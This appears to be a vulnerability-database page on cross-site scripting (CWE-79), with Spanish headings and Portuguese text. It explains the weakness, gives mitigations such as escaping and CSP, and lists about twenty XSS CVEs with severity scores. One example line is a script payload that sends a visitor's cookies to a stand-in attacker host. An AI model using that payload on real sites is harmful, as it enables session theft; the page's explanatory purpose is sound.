Fallos del tipo CWE-79

30.670 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-24722HIGHCross-site Scripting in view_componentEPSS 1.1%CVE-2024-7124MEDIUMReflected XSS in DInGO dLibraEPSS 1.1%CVE-2021-24526—Form Maker < 1.13.60 - Authenticated Stored XSSEPSS 1.1%CVE-2023-40355MEDIUMCross Site Scripting (XSS) vulnerability in Axigen versions 10.3.3.0 before 10.3.3.59, 10.4.0 before 10.4.19, and 10.5.0 before 10.5.5, alloEPSS 1.1%CVE-2023-51633HIGHCentreon sysName Cross-Site Scripting Remote Code Execution VulnerabilityEPSS 1.1%CVE-2023-2341HIGHCross-site Scripting (XSS) - Generic in pimcore/pimcoreEPSS 1.1%CVE-2024-11199MEDIUMRescue Shortcodes <= 2.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via rescue_progressbar ShortcodeEPSS 1.1%CVE-2022-39048MEDIUMCross-Site Scripting (XSS) vulnerability in ServiceNow UI page assessment_redirectEPSS 1.1%CVE-2019-6565—Moxa IKS and EDS fails to properly validate user input, giving unauthenticated and authenticated attackers the ability to perform XSS attackEPSS 1.1%CVE-2021-21441HIGHXSS in the ticket overview screensEPSS 1.1%CVE-2017-20192HIGHFormidable Form Builder < 2.05.03 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.1%CVE-2017-12221—A vulnerability in the web framework of Cisco Firepower Management Center could allow an authenticated, remote attacker to conduct a cross-sEPSS 1.1%CVE-2024-29882HIGHSRS DOM - XSS on JSONP callbackEPSS 1.1%CVE-2021-24135—WP Customer Reviews < 3.4.3 - Multiple Unauthenticated and Low Priv Authenticated Stored XSSEPSS 1.1%CVE-2024-5737MEDIUMHTML Injection in AdmirorFrames Joomla! ExtensionEPSS 1.1%CVE-2022-41312MEDIUMA stored cross-site scripting vulnerability exists in the web application functionality of Moxa SDS-3008 Series Industrial Ethernet Switch 2EPSS 1.1%CVE-2022-46934MEDIUMkkFileView v4.1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the url parameter at /controller/OnlinePreviewConEPSS 1.1%CVE-2022-41313MEDIUMA stored cross-site scripting vulnerability exists in the web application functionality of Moxa SDS-3008 Series Industrial Ethernet Switch 2EPSS 1.1%CVE-2026-54645MEDIUMCubeCart: Stored XSS in Product Description Editor via Global Sanitizer BypassEPSS 1.1%CVE-2022-2101MEDIUMDownload Manager <= 3.2.46 - Contributor+ Cross-Site ScriptingEPSS 1.1%